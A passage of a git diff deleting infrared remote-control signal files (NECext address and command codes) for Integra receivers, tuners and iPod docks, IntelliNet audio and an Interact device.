-name: MODE_THX_ULTRA2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DC 00 00 00 -# -name: THX_ULTRA2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DC 00 00 00 -# -name: THX_ULTRA2/CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DC 00 00 00 -# -name: MODE:_THX_ULTRA_2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DC 00 00 00 -# -name: MODE_THX_MUSIC_MODE2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DD 00 00 00 -# -name: THX_ULTRA2_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DD 00 00 00 -# -name: THX_MUSIC_MODE -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DD 00 00 00 -# -name: MODE:_THX_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DD 00 00 00 -# -name: MODE_THX_GAMES_MODE2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DE 00 00 00 -# -name: THX_ULTRA2_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DE 00 00 00 -# -name: THX_GAMES_MODE -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DE 00 00 00 -# -name: MODE:_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DE 00 00 00 -# -name: MODE:_PLII_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DE 00 00 00 -# -name: NEURAL_THX -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DF 00 00 00 -# -name: MODE_NEURAL_THX_SURR -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir deleted file mode 100644 index 58eef6b75..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir +++ /dev/null @@ -1,698 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: +10 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: PAUSE/STEP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: FR -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 48 00 00 00 -# -name: AUDYSSEY_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: AUDYSSEY_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_TOGGLE -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_EQ_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_EQ_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_EQ_TOGGLE -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOL_HEAVY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOL_LIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOL_MEDIUM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOL_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOL_TOGGLE -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_FULL_MONO -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_GAME_ACTION -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_GAME_ROCK -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_GAME_RPG -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_GAME_SPORTS -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_ORCHESTRA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_STUDIO_MIX -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_UNPLUGGED -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MUSIC_OPTIMIZER_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MUSIC_OPTIMIZER_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: AUDIO_ARC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYMANIC_EQ_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_EQ_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_HEAVY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_LIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_MEDIU -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_CINEMA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_CUSTOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_GAME -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_MODE_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_THROUGH -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_DOLBYEX_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_FULL_MONO -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_ACTION -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_ROCK -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_RPG -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_SPORTS -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6_THX_CINEMA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6_THX_MUSIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_ORCHESTRA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_STUDIO_MIX -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_TV_LOGIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MUSIC_OPTIMIZER_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_4:3 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_FULL -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_WIDE_ZOOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_ZOOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE:_PLXLL_HEIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_AUDIO_OUT_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_AUDIO_OUT_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_AUDYSSEY_DSX -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6_MUSIC_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6CINEMA_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLX_GAME_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLX_MOVIE_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLX_MUSIC_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODEPLLZH+THXU2CINEM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODEPLLZH+THXU2GAMES -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODEPLLZH+THXU2MUSIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_AUDIO_OUT_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_OUT_BOTH -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_OUT_BOTH_MAIN -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_OUT_BOTH_SUB -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_H+GAMES -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_H+THXCINEM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_H+THXMUSIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_HEIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: VOLUME_DOWN_1DB -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: VOLUME_UP_1DB -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_DAY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_NIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_AUTO -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_HIGH -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_LOW -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_MID -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEURAL_DIGITAL -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_SMART_ZOOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir deleted file mode 100644 index 6812c100f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir deleted file mode 100644 index b92494165..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 46 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir deleted file mode 100644 index 091a21429..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: DIRECT_ACCESS -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir deleted file mode 100644 index fff9ab883..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 00 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 01 00 00 00 -# -name: PLAY_MODE_(SHUFFLE) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 0A 00 00 00 -# -name: STOP_(PAUSE) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 0B 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 0C 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 0E 00 00 00 -# -name: PROGRAM_(PLAYLIST_MO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 10 00 00 00 -# -name: DISPLAY_(BKLIGHT) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 11 00 00 00 -# -name: ENTER_(PLAYLIST_MODE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 11 00 00 00 -# -name: SCROLL_(BKLIGHT) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 12 00 00 00 -# -name: RANDOM_(SHUFFLE) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 15 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir deleted file mode 100644 index 302123953..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_(PAUSE) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: REV_PLAY_(PLAYLIST) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: REC_PAUSE_(BACKLIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: FF_(TRACK_+) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: REW_(TRACK_-) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 93 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir deleted file mode 100644 index aa78466c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 00 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 01 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 46 00 00 00 -# -name: PLAY_MODE_(SHUFFLE) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8D 00 00 00 -# -name: STOP_(PAUSE) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8E 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8F 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 90 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 91 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 94 00 00 00 -# -name: SCROLL_(BACKLIGHT) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 96 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 97 00 00 00 -# -name: DISPLAY_(BACKLIGHT) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 99 00 00 00 -# -name: RANDOM_(SHUFFLE) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9A 00 00 00 -# -name: MEMORY_(PLAYLIST) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir deleted file mode 100644 index 29727b11a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 18 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 1B 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 1C 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 1D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 1E 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 1F 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 42 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 43 00 00 00 -# -name: ALBUM_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 50 00 00 00 -# -name: ALBUM_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 51 00 00 00 -# -name: PLAYLIST_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 52 00 00 00 -# -name: PLAYLIST_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 53 00 00 00 -# -name: CHAPTER_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 54 00 00 00 -# -name: CHAPTER_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 55 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 56 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 57 00 00 00 -# -name: BACKLIGHT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 59 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 5A 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 5B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir deleted file mode 100644 index 97af66d79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LIGHT -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 00 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 02 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 06 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 09 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 13 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 14 00 00 00 -# -name: CD2 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 15 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 16 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 17 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 18 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 19 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 1A 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 1C 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir deleted file mode 100644 index 4aec2f1f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: 